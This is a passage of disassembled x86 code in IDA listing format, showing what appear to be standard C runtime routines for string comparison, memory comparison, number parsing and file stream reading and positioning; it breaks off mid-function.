loc_4226C7:				; CODE XREF: sub_4223F0+1C2j
					; DATA XREF: sub_4223F0:off_422680o
		jmp	off_4226D0[edx*4]
; ---------------------------------------------------------------------------
		align 10h
off_4226D0	dd offset loc_4226E0	; DATA XREF: sub_4223F0+1B7r
					; sub_4223F0:loc_4225D4r ...
		dd offset loc_4226E8
		dd offset loc_4226F8
		dd offset loc_42270C
; ---------------------------------------------------------------------------


loc_4226E0:				; CODE XREF: sub_4223F0+1B7j
					; sub_4223F0:loc_4225D4j ...
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_4226E8:				; CODE XREF: sub_4223F0+1B7j
					; sub_4223F0:loc_4225D4j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_4226F8:				; CODE XREF: sub_4223F0+1B7j
					; sub_4223F0:loc_4225D4j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_42270C:				; CODE XREF: sub_4223F0+1B7j
					; sub_4223F0:loc_4225D4j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
sub_4223F0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_422725	proc near		; CODE XREF: sub_4015FC+44p
					; sub_402190+27Ap ...

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_14], 49h
		push	eax
		mov	[ebp+var_18], eax
		mov	[ebp+var_20], eax
		call	sub_422120
		mov	[ebp+var_1C], eax
		lea	eax, [ebp+arg_8]
		push	eax
		lea	eax, [ebp+var_20]
		push	[ebp+arg_4]
		push	eax
		call	sub_425A04
		add	esp, 10h
		leave
		retn
sub_422725	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_422760	proc near		; CODE XREF: sub_4016B4+1Bp
					; sub_4016B4+39p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	edx, [esp+arg_0]
		mov	ecx, [esp+arg_4]
		test	edx, 3
		jnz	short loc_4227AC


loc_422770:				; CODE XREF: sub_422760+3Cj
					; sub_422760+66j ...
		mov	eax, [edx]
		cmp	al, [ecx]
		jnz	short loc_4227A4
		or	al, al
		jz	short loc_4227A0
		cmp	ah, [ecx+1]
		jnz	short loc_4227A4
		or	ah, ah
		jz	short loc_4227A0
		shr	eax, 10h
		cmp	al, [ecx+2]
		jnz	short loc_4227A4
		or	al, al
		jz	short loc_4227A0
		cmp	ah, [ecx+3]
		jnz	short loc_4227A4
		add	ecx, 4
		add	edx, 4
		or	ah, ah
		jnz	short loc_422770
		mov	edi, edi


loc_4227A0:				; CODE XREF: sub_422760+18j
					; sub_422760+21j ...
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------
		align 4


loc_4227A4:				; CODE XREF: sub_422760+14j
					; sub_422760+1Dj ...
		sbb	eax, eax
		shl	eax, 1
		inc	eax
		retn
; ---------------------------------------------------------------------------
		align 4


loc_4227AC:				; CODE XREF: sub_422760+Ej
		test	edx, 1
		jz	short loc_4227C8
		mov	al, [edx]
		inc	edx
		cmp	al, [ecx]
		jnz	short loc_4227A4
		inc	ecx
		or	al, al
		jz	short loc_4227A0
		test	edx, 2
		jz	short loc_422770


loc_4227C8:				; CODE XREF: sub_422760+52j
		mov	ax, [edx]
		add	edx, 2
		cmp	al, [ecx]
		jnz	short loc_4227A4
		or	al, al
		jz	short loc_4227A0
		cmp	ah, [ecx+1]
		jnz	short loc_4227A4
		or	ah, ah
		jz	short loc_4227A0
		add	ecx, 2
		jmp	short loc_422770
sub_422760	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_4227F0	proc near		; CODE XREF: sub_401A7A+1Dp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_8]
		test	eax, eax
		jz	short locret_42283C
		mov	edx, [esp+arg_0]
		push	esi
		push	edi
		mov	esi, edx
		mov	edi, [esp+8+arg_4]
		or	edx, edi
		and	edx, 3
		jz	short loc_42283D
		test	eax, 1
		jz	short loc_42281D
		mov	cl, [esi]
		cmp	cl, [edi]
		jnz	short loc_42286A
		inc	esi
		inc	edi
		dec	eax
		jz	short loc_42283A


loc_42281D:				; CODE XREF: sub_4227F0+20j
					; sub_4227F0+48j
		mov	cl, [esi]
		mov	dl, [edi]
		cmp	cl, dl
		jnz	short loc_42286A
		mov	cl, [esi+1]
		mov	dl, [edi+1]
		cmp	cl, dl
		jnz	short loc_42286A
		add	edi, 2
		add	esi, 2
		sub	eax, 2
		jnz	short loc_42281D


loc_42283A:				; CODE XREF: sub_4227F0+2Bj
					; sub_4227F0+84j
		pop	edi
		pop	esi

locret_42283C:				; CODE XREF: sub_4227F0+6j
		retn
; ---------------------------------------------------------------------------


loc_42283D:				; CODE XREF: sub_4227F0+19j
		mov	ecx, eax
		and	eax, 3
		shr	ecx, 2
		jz	short loc_422872
		repe cmpsd
		jz	short loc_422872
		mov	ecx, [esi-4]
		mov	edx, [edi-4]
		cmp	cl, dl
		jnz	short loc_422865
		cmp	ch, dh
		jnz	short loc_422865
		shr	ecx, 10h
		shr	edx, 10h
		cmp	cl, dl
		jnz	short loc_422865
		cmp	ch, dh


loc_422865:				; CODE XREF: sub_4227F0+63j
					; sub_4227F0+67j ...
		mov	eax, 0


loc_42286A:				; CODE XREF: sub_4227F0+26j
					; sub_4227F0+33j ...
		sbb	eax, eax
		pop	edi
		sbb	eax, 0FFFFFFFFh
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_422872:				; CODE XREF: sub_4227F0+55j
					; sub_4227F0+59j
		test	eax, eax
		jz	short loc_42283A
		mov	edx, [esi]
		mov	ecx, [edi]
		cmp	dl, cl
		jnz	short loc_422865
		dec	eax
		jz	short loc_422899
		cmp	dh, ch
		jnz	short loc_422865
		dec	eax
		jz	short loc_422899
		and	ecx, 0FF0000h
		and	edx, 0FF0000h
		cmp	edx, ecx
		jnz	short loc_422865
		dec	eax


loc_422899:				; CODE XREF: sub_4227F0+8Fj
					; sub_4227F0+96j
		pop	edi
		pop	esi
		retn
sub_4227F0	endp


; =============== S U B	R O U T	I N E =======================================



sub_42289C	proc near		; CODE XREF: sub_427054+11Bp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	0
		push	[esp+4+arg_8]
		push	[esp+8+arg_4]
		push	[esp+0Ch+arg_0]
		call	sub_4228B3
		add	esp, 10h
		retn
sub_42289C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4228B3	proc near		; CODE XREF: sub_42289C+Ep
					; sub_422AB8+Ep

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		and	[ebp+var_8], 0
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		mov	bl, [edi]
		lea	esi, [edi+1]
		mov	[ebp+var_4], esi


loc_4228CB:				; CODE XREF: sub_4228B3+46j
		cmp	dword_449A44, 1
		jle	short loc_4228E3
		movzx	eax, bl
		push	8
		push	eax
		call	sub_42653A
		pop	ecx
		pop	ecx
		jmp	short loc_4228F2
; ---------------------------------------------------------------------------


loc_4228E3:				; CODE XREF: sub_4228B3+1Fj
		mov	ecx, off_449838
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, 8


loc_4228F2:				; CODE XREF: sub_4228B3+2Ej
		test	eax, eax
		jz	short loc_4228FB
		mov	bl, [esi]
		inc	esi
		jmp	short loc_4228CB
; ---------------------------------------------------------------------------


loc_4228FB:				; CODE XREF: sub_4228B3+41j
		cmp	bl, 2Dh
		mov	[ebp+var_4], esi
		jnz	short loc_422909
		or	[ebp+arg_C], 2
		jmp	short loc_42290E
; ---------------------------------------------------------------------------


loc_422909:				; CODE XREF: sub_4228B3+4Ej
		cmp	bl, 2Bh
		jnz	short loc_422914


loc_42290E:				; CODE XREF: sub_4228B3+54j
		mov	bl, [esi]
		inc	esi
		mov	[ebp+var_4], esi


loc_422914:				; CODE XREF: sub_4228B3+59j
		mov	eax, [ebp+arg_8]
		test	eax, eax
		jl	loc_422AA8
		cmp	eax, 1
		jz	loc_422AA8
		cmp	eax, 24h
		jg	loc_422AA8
		push	10h
		test	eax, eax
		pop	ecx
		jnz	short loc_42295C
		cmp	bl, 30h
		jz	short loc_422946
		mov	[ebp+arg_8], 0Ah
		jmp	short loc_422978
; ---------------------------------------------------------------------------


loc_422946:				; CODE XREF: sub_4228B3+88j
		mov	al, [esi]
		cmp	al, 78h
		jz	short loc_422959
		cmp	al, 58h
		jz	short loc_422959
		mov	[ebp+arg_8], 8
		jmp	short loc_422978
; ---------------------------------------------------------------------------


loc_422959:				; CODE XREF: sub_4228B3+97j
					; sub_4228B3+9Bj
		mov	[ebp+arg_8], ecx


loc_42295C:				; CODE XREF: sub_4228B3+83j
		cmp	[ebp+arg_8], ecx
		jnz	short loc_422978
		cmp	bl, 30h
		jnz	short loc_422978
		mov	al, [esi]
		cmp	al, 78h
		jz	short loc_422970
		cmp	al, 58h
		jnz	short loc_422978


loc_422970:				; CODE XREF: sub_4228B3+B7j
		mov	bl, [esi+1]
		inc	esi
		inc	esi
		mov	[ebp+var_4], esi


loc_422978:				; CODE XREF: sub_4228B3+91j
					; sub_4228B3+A4j ...
		or	eax, 0FFFFFFFFh
		xor	edx, edx
		div	[ebp+arg_8]
		mov	edi, 103h
		mov	[ebp+var_C], eax


loc_422988:				; CODE XREF: sub_4228B3+16Cj
		cmp	dword_449A44, 1
		movzx	esi, bl
		jle	short loc_4229A0
		push	4
		push	esi
		call	sub_42653A
		pop	ecx
		pop	ecx
		jmp	short loc_4229AB
; ---------------------------------------------------------------------------


loc_4229A0:				; CODE XREF: sub_4228B3+DFj
		mov	eax, off_449838
		mov	al, [eax+esi*2]
		and	eax, 4


loc_4229AB:				; CODE XREF: sub_4228B3+EBj
		test	eax, eax
		jz	short loc_4229B7
		movsx	ecx, bl
		sub	ecx, 30h
		jmp	short loc_4229E9
; ---------------------------------------------------------------------------


loc_4229B7:				; CODE XREF: sub_4228B3+FAj
		cmp	dword_449A44, 1
		jle	short loc_4229CB
		push	edi
		push	esi
		call	sub_42653A
		pop	ecx
		pop	ecx
		jmp	short loc_4229D6
; ---------------------------------------------------------------------------


loc_4229CB:				; CODE XREF: sub_4228B3+10Bj
		mov	eax, off_449838
		mov	ax, [eax+esi*2]
		and	eax, edi


loc_4229D6:				; CODE XREF: sub_4228B3+116j
		test	eax, eax
		jz	short loc_422A24
		movsx	eax, bl
		push	eax
		call	sub_4248E0
		pop	ecx
		mov	ecx, eax
		sub	ecx, 37h


loc_4229E9:				; CODE XREF: sub_4228B3+102j
		cmp	ecx, [ebp+arg_8]
		jnb	short loc_422A24
		mov	esi, [ebp+var_8]
		or	[ebp+arg_C], 8
		cmp	esi, [ebp+var_C]
		jb	short loc_422A0E
		jnz	short loc_422A08
		or	eax, 0FFFFFFFFh
		xor	edx, edx
		div	[ebp+arg_8]
		cmp	ecx, edx
		jbe	short loc_422A0E


loc_422A08:				; CODE XREF: sub_4228B3+147j
		or	[ebp+arg_C], 4
		jmp	short loc_422A17
; ---------------------------------------------------------------------------


loc_422A0E:				; CODE XREF: sub_4228B3+145j
					; sub_4228B3+153j
		imul	esi, [ebp+arg_8]
		add	esi, ecx
		mov	[ebp+var_8], esi


loc_422A17:				; CODE XREF: sub_4228B3+159j
		mov	eax, [ebp+var_4]
		inc	[ebp+var_4]
		mov	bl, [eax]
		jmp	loc_422988
; ---------------------------------------------------------------------------


loc_422A24:				; CODE XREF: sub_4228B3+125j
					; sub_4228B3+139j
		mov	eax, [ebp+arg_C]
		dec	[ebp+var_4]
		mov	ebx, [ebp+arg_4]
		test	al, 8
		jnz	short loc_422A41
		test	ebx, ebx
		jz	short loc_422A3B
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_4], eax


loc_422A3B:				; CODE XREF: sub_4228B3+180j
		and	[ebp+var_8], 0
		jmp	short loc_422A8C
; ---------------------------------------------------------------------------


loc_422A41:				; CODE XREF: sub_4228B3+17Cj
		test	al, 4
		mov	esi, 7FFFFFFFh
		jnz	short loc_422A65
		test	al, 1
		jnz	short loc_422A8C
		and	eax, 2
		jz	short loc_422A5C
		cmp	[ebp+var_8], 80000000h
		ja	short loc_422A65


loc_422A5C:				; CODE XREF: sub_4228B3+19Ej
		test	eax, eax
		jnz	short loc_422A8C
		cmp	[ebp+var_8], esi
		jbe	short loc_422A8C


loc_422A65:				; CODE XREF: sub_4228B3+195j
					; sub_4228B3+1A7j
		call	sub_426528
		test	byte ptr [ebp+arg_C], 1
		mov	dword ptr [eax], 22h
		jz	short loc_422A7C
		or	[ebp+var_8], 0FFFFFFFFh
		jmp	short loc_422A8C
; ---------------------------------------------------------------------------


loc_422A7C:				; CODE XREF: sub_4228B3+1C1j
		mov	eax, [ebp+arg_C]
		and	al, 2
		neg	al
		sbb	eax, eax
		neg	eax
		add	eax, esi
		mov	[ebp+var_8], eax


loc_422A8C:				; CODE XREF: sub_4228B3+18Cj
					; sub_4228B3+199j ...
		test	ebx, ebx
		jz	short loc_422A95
		mov	eax, [ebp+var_4]
		mov	[ebx], eax


loc_422A95:				; CODE XREF: sub_4228B3+1DBj
		test	byte ptr [ebp+arg_C], 2
		jz	short loc_422AA3
		mov	eax, [ebp+var_8]
		neg	eax
		mov	[ebp+var_8], eax


loc_422AA3:				; CODE XREF: sub_4228B3+1E6j
		mov	eax, [ebp+var_8]
		jmp	short loc_422AB3
; ---------------------------------------------------------------------------


loc_422AA8:				; CODE XREF: sub_4228B3+66j
					; sub_4228B3+6Fj ...
		mov	eax, [ebp+arg_4]
		test	eax, eax
		jz	short loc_422AB1
		mov	[eax], edi


loc_422AB1:				; CODE XREF: sub_4228B3+1FAj
		xor	eax, eax


loc_422AB3:				; CODE XREF: sub_4228B3+1F3j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4228B3	endp


; =============== S U B	R O U T	I N E =======================================



sub_422AB8	proc near		; CODE XREF: sub_402190+381p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	1
		push	[esp+4+arg_8]
		push	[esp+8+arg_4]
		push	[esp+0Ch+arg_0]
		call	sub_4228B3
		add	esp, 10h
		retn
sub_422AB8	endp


; =============== S U B	R O U T	I N E =======================================



sub_422ACF	proc near		; CODE XREF: sub_422B5A+4p
					; sub_42D078+1C1p ...

arg_0		= dword	ptr  4

		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	edi, [esp+10h+arg_0]


loc_422AD7:				; CODE XREF: sub_422ACF+34j
		cmp	dword_449A44, 1
		jle	short loc_422AEF
		movzx	eax, byte ptr [edi]
		push	8
		push	eax
		call	sub_42653A
		pop	ecx
		pop	ecx
		jmp	short loc_422AFE
; ---------------------------------------------------------------------------


loc_422AEF:				; CODE XREF: sub_422ACF+Fj
		movzx	eax, byte ptr [edi]
		mov	ecx, off_449838
		mov	al, [ecx+eax*2]
		and	eax, 8


loc_422AFE:				; CODE XREF: sub_422ACF+1Ej
		test	eax, eax
		jz	short loc_422B05
		inc	edi
		jmp	short loc_422AD7
; ---------------------------------------------------------------------------


loc_422B05:				; CODE XREF: sub_422ACF+31j
		movzx	esi, byte ptr [edi]
		inc	edi
		cmp	esi, 2Dh
		mov	ebp, esi
		jz	short loc_422B15
		cmp	esi, 2Bh
		jnz	short loc_422B19


loc_422B15:				; CODE XREF: sub_422ACF+3Fj
		movzx	esi, byte ptr [edi]
		inc	edi


loc_422B19:				; CODE XREF: sub_422ACF+44j
		xor	ebx, ebx


loc_422B1B:				; CODE XREF: sub_422ACF+7Bj
		cmp	dword_449A44, 1
		jle	short loc_422B30
		push	4
		push	esi
		call	sub_42653A
		pop	ecx
		pop	ecx
		jmp	short loc_422B3B
; ---------------------------------------------------------------------------


loc_422B30:				; CODE XREF: sub_422ACF+53j
		mov	eax, off_449838
		mov	al, [eax+esi*2]
		and	eax, 4


loc_422B3B:				; CODE XREF: sub_422ACF+5Fj
		test	eax, eax
		jz	short loc_422B4C
		lea	eax, [ebx+ebx*4]
		lea	ebx, [esi+eax*2-30h]
		movzx	esi, byte ptr [edi]
		inc	edi
		jmp	short loc_422B1B
; ---------------------------------------------------------------------------


loc_422B4C:				; CODE XREF: sub_422ACF+6Ej
		cmp	ebp, 2Dh
		mov	eax, ebx
		jnz	short loc_422B55
		neg	eax


loc_422B55:				; CODE XREF: sub_422ACF+82j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_422ACF	endp


; =============== S U B	R O U T	I N E =======================================



sub_422B5A	proc near		; CODE XREF: sub_402190+33Dp
					; sub_402190+34Bp ...

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	sub_422ACF
		pop	ecx
		retn
sub_422B5A	endp


; =============== S U B	R O U T	I N E =======================================



sub_422B65	proc near		; CODE XREF: sub_40274D+B0p
					; sub_416C0B+1EAp ...

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	edi
		or	edi, 0FFFFFFFFh
		test	byte ptr [esi+0Ch], 40h
		jz	short loc_422B7A
		and	dword ptr [esi+0Ch], 0
		jmp	short loc_422B91
; ---------------------------------------------------------------------------


loc_422B7A:				; CODE XREF: sub_422B65+Dj
		push	esi
		call	sub_42483C
		push	esi
		call	sub_422B96
		push	esi
		mov	edi, eax
		call	sub_42488E
		add	esp, 0Ch


loc_422B91:				; CODE XREF: sub_422B65+13j
		mov	eax, edi
		pop	edi
		pop	esi
		retn
sub_422B65	endp


; =============== S U B	R O U T	I N E =======================================



sub_422B96	proc near		; CODE XREF: sub_422B65+1Cp

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	edi
		or	edi, 0FFFFFFFFh
		test	byte ptr [esi+0Ch], 83h
		jz	short loc_422BD9
		push	esi
		call	sub_42671D
		push	esi
		mov	edi, eax
		call	sub_4266C4
		push	dword ptr [esi+10h]
		call	sub_4265E4
		add	esp, 0Ch
		test	eax, eax
		jge	short loc_422BC7
		or	edi, 0FFFFFFFFh
		jmp	short loc_422BD9
; ---------------------------------------------------------------------------


loc_422BC7:				; CODE XREF: sub_422B96+2Aj
		mov	eax, [esi+1Ch]
		test	eax, eax
		jz	short loc_422BD9
		push	eax
		call	sub_4230B3
		and	dword ptr [esi+1Ch], 0
		pop	ecx


loc_422BD9:				; CODE XREF: sub_422B96+Dj
					; sub_422B96+2Fj ...
		and	dword ptr [esi+0Ch], 0
		mov	eax, edi
		pop	edi
		pop	esi
		retn
sub_422B96	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_422BE2	proc near		; CODE XREF: sub_40274D+83p
					; sub_417583+26p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	esi
		push	[ebp+arg_C]
		call	sub_42483C
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_422C11
		push	[ebp+arg_C]
		mov	esi, eax
		call	sub_42488E
		add	esp, 18h
		mov	eax, esi
		pop	esi
		pop	ebp
		retn
sub_422BE2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_422C11	proc near		; CODE XREF: sub_422BE2+18p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		imul	edi, [ebp+arg_8]
		mov	ebx, [ebp+arg_0]
		mov	ecx, edi
		test	edi, edi
		mov	[ebp+var_4], edi
		mov	[ebp+arg_0], ecx
		jnz	short loc_422C35
		xor	eax, eax
		jmp	loc_422CDE
; ---------------------------------------------------------------------------


loc_422C35:				; CODE XREF: sub_422C11+1Bj
		mov	esi, [ebp+arg_C]
		test	word ptr [esi+0Ch], 10Ch
		jz	short loc_422C48
		mov	eax, [esi+18h]
		mov	[ebp+arg_C], eax
		jmp	short loc_422C54
; ---------------------------------------------------------------------------


loc_422C48:				; CODE XREF: sub_422C11+2Dj
		mov	[ebp+arg_C], 1000h
		jmp	short loc_422C54
; ---------------------------------------------------------------------------


loc_422C51:				; CODE XREF: sub_422C11+C4j
		mov	ecx, [ebp+arg_0]


loc_422C54:				; CODE XREF: sub_422C11+35j
					; sub_422C11+3Ej
		test	word ptr [esi+0Ch], 10Ch
		jz	short loc_422C86
		mov	eax, [esi+4]
		test	eax, eax
		jz	short loc_422C86
		cmp	ecx, eax
		mov	edi, ecx
		jb	short loc_422C6B
		mov	edi, eax


loc_422C6B:				; CODE XREF: sub_422C11+56j
		push	edi
		push	dword ptr [esi]
		push	ebx
		call	sub_4223F0
		sub	[ebp+arg_0], edi
		sub	[esi+4], edi
		add	[esi], edi
		add	esp, 0Ch
		add	ebx, edi
		mov	edi, [ebp+var_4]
		jmp	short loc_422CD1
; ---------------------------------------------------------------------------


loc_422C86:				; CODE XREF: sub_422C11+49j
					; sub_422C11+50j
		cmp	ecx, [ebp+arg_C]
		jb	short loc_422CB9
		cmp	[ebp+arg_C], 0
		mov	eax, ecx
		jz	short loc_422C9C
		xor	edx, edx
		div	[ebp+arg_C]
		mov	eax, ecx
		sub	eax, edx


loc_422C9C:				; CODE XREF: sub_422C11+80j
		push	eax
		push	ebx
		push	dword ptr [esi+10h]
		call	sub_426902
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_422CE3
		cmp	eax, 0FFFFFFFFh
		jz	short loc_422CE9
		sub	[ebp+arg_0], eax
		add	ebx, eax
		jmp	short loc_422CD1
; ---------------------------------------------------------------------------


loc_422CB9:				; CODE XREF: sub_422C11+78j
		push	esi
		call	sub_426826
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_422CED
		mov	[ebx], al
		mov	eax, [esi+18h]
		inc	ebx
		dec	[ebp+arg_0]
		mov	[ebp+arg_C], eax


loc_422CD1:				; CODE XREF: sub_422C11+73j
					; sub_422C11+A6j
		cmp	[ebp+arg_0], 0
		jnz	loc_422C51
		mov	eax, [ebp+arg_8]


loc_422CDE:				; CODE XREF: sub_422C11+1Fj
					; sub_422C11+E6j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_422CE3:				; CODE XREF: sub_422C11+9Aj
		or	dword ptr [esi+0Ch], 10h
		jmp	short loc_422CED
; ---------------------------------------------------------------------------


loc_422CE9:				; CODE XREF: sub_422C11+9Fj
		or	dword ptr [esi+0Ch], 20h


loc_422CED:				; CODE XREF: sub_422C11+B2j
					; sub_422C11+D6j
		mov	eax, edi
		xor	edx, edx
		sub	eax, [ebp+arg_0]
		div	[ebp+arg_4]
		jmp	short loc_422CDE
sub_422C11	endp


; =============== S U B	R O U T	I N E =======================================



sub_422CF9	proc near		; CODE XREF: sub_40274D+4Dp

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	edi
		push	esi
		call	sub_42483C
		push	esi
		call	sub_422D1B
		push	esi
		mov	edi, eax
		call	sub_42488E
		add	esp, 0Ch
		mov	eax, edi
		pop	edi
		pop	esi
		retn
sub_422CF9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_422D1B	proc near		; CODE XREF: sub_422CF9+Dp
					; sub_422EA8+2Ap

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		xor	ebx, ebx
		mov	esi, [edi+10h]
		cmp	[edi+4], ebx
		mov	[ebp+var_C], esi
		jge	short loc_422D37
		mov	[edi+4], ebx


loc_422D37:				; CODE XREF: sub_422D1B+17j
		push	1
		push	ebx
		push	esi
		call	sub_426CFC
		add	esp, 0Ch
		cmp	eax, ebx
		mov	[ebp+var_4], eax
		jl	short loc_422DA9
		mov	ecx, [edi+0Ch]
		test	cx, 108h
		jnz	short loc_422D5C
		sub	eax, [edi+4]
		jmp	loc_422E77
; ---------------------------------------------------------------------------


loc_422D5C:				; CODE XREF: sub_422D1B+37j
		mov	eax, [edi]
		mov	edx, [edi+8]
		mov	ebx, eax
		sub	ebx, edx
		test	cl, 3
		mov	[ebp+var_8], ebx
		jz	short loc_422D99
		mov	ebx, esi
		mov	ecx, esi
		sar	ebx, 5
		and	ecx, 1Fh
		mov	ebx, dword_6319E0[ebx*4]
		lea	ecx, [ecx+ecx*8]
		test	byte ptr [ebx+ecx*4+4],	80h
		jz	short loc_422DB1
		mov	ecx, edx


loc_422D8A:				; CODE XREF: sub_422D1B+7Cj
		cmp	ecx, eax
		jnb	short loc_422DB1
		cmp	byte ptr [ecx],	0Ah
		jnz	short loc_422D96
		inc	[ebp+var_8]


loc_422D96:				; CODE XREF: sub_422D1B+76j
		inc	ecx
		jmp	short loc_422D8A
; ---------------------------------------------------------------------------


loc_422D99:				; CODE XREF: sub_422D1B+50j
		test	cl, 80h
		jnz	short loc_422DB1
		call	sub_426528
		mov	dword ptr [eax], 16h


loc_422DA9:				; CODE XREF: sub_422D1B+2Dj
		or	eax, 0FFFFFFFFh
		jmp	loc_422E77
; ---------------------------------------------------------------------------


loc_422DB1:				; CODE XREF: sub_422D1B+6Bj
					; sub_422D1B+71j ...
		cmp	[ebp+var_4], 0
		jnz	short loc_422DBF
		mov	eax, [ebp+var_8]
		jmp	loc_422E77
; ---------------------------------------------------------------------------


loc_422DBF:				; CODE XREF: sub_422D1B+9Aj
		test	byte ptr [edi+0Ch], 1
		jz	loc_422E6F
		mov	ecx, [edi+4]
		test	ecx, ecx
		jnz	short loc_422DD8
		and	[ebp+var_8], ecx
		jmp	loc_422E6F
; ---------------------------------------------------------------------------


loc_422DD8:				; CODE XREF: sub_422D1B+B3j
		sub	eax, edx
		add	eax, ecx
		mov	[ebp+arg_0], eax
		mov	eax, esi
		sar	eax, 5
		lea	ebx, ds:6319E0h[eax*4]
		mov	eax, esi
		and	eax, 1Fh
		lea	esi, [eax+eax*8]
		mov	eax, [ebx]
		shl	esi, 2
		test	byte ptr [esi+eax+4], 80h
		jz	short loc_422E69
		push	2
		push	0
		push	[ebp+var_C]
		call	sub_426CFC
		add	esp, 0Ch
		cmp	eax, [ebp+var_4]
		jnz	short loc_422E30
		mov	eax, [edi+8]
		mov	ecx, [ebp+arg_0]
		add	ecx, eax


loc_422E1B:				; CODE XREF: sub_422D1B+10Dj
		cmp	eax, ecx
		jnb	short loc_422E2A
		cmp	byte ptr [eax],	0Ah
		jnz	short loc_422E27
		inc	[ebp+arg_0]


loc_422E27:				; CODE XREF: sub_422D1B+107j
		inc	eax
		jmp	short loc_422E1B
; ---------------------------------------------------------------------------


loc_422E2A:				; CODE XREF: sub_422D1B+102j
		test	byte ptr [edi+0Dh], 20h
		jmp	short loc_422E64
; ---------------------------------------------------------------------------


loc_422E30:				; CODE XREF: sub_422D1B+F6j
		push	0
		push	[ebp+var_4]
		push	[ebp+var_C]
		call	sub_426CFC
		mov	eax, 200h
		add	esp, 0Ch
		cmp	[ebp+arg_0], eax
		ja	short loc_422E57
		mov	ecx, [edi+0Ch]
		test	cl, 8
		jz	short loc_422E57
		test	ch, 4
		jz	short loc_422E5A


loc_422E57:				; CODE XREF: sub_422D1B+12Dj
					; sub_422D1B+135j
		mov	eax, [edi+18h]


loc_422E5A:				; CODE XREF: sub_422D1B+13Aj
		mov	[ebp+arg_0], eax
		mov	eax, [ebx]
		test	byte ptr [esi+eax+4], 4


loc_422E64:				; CODE XREF: sub_422D1B+113j
		jz	short loc_422E69
		inc	[ebp+arg_0]


loc_422E69:				; CODE XREF: sub_422D1B+E2j
					; sub_422D1B:loc_422E64j
		mov	eax, [ebp+arg_0]
		sub	[ebp+var_4], eax


loc_422E6F:				; CODE XREF: sub_422D1B+A8j
					; sub_422D1B+B8j
		mov	eax, [ebp+var_8]
		mov	ecx, [ebp+var_4]
		add	eax, ecx


loc_422E77:				; CODE XREF: sub_422D1B+3Cj
					; sub_422D1B+91j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_422D1B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_422E7C	proc near		; CODE XREF: sub_40274D+47p
					; sub_40274D+58p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	esi
		push	[ebp+arg_0]
		call	sub_42483C
		push	[ebp+arg_8]
		push	[ebp+arg_4]
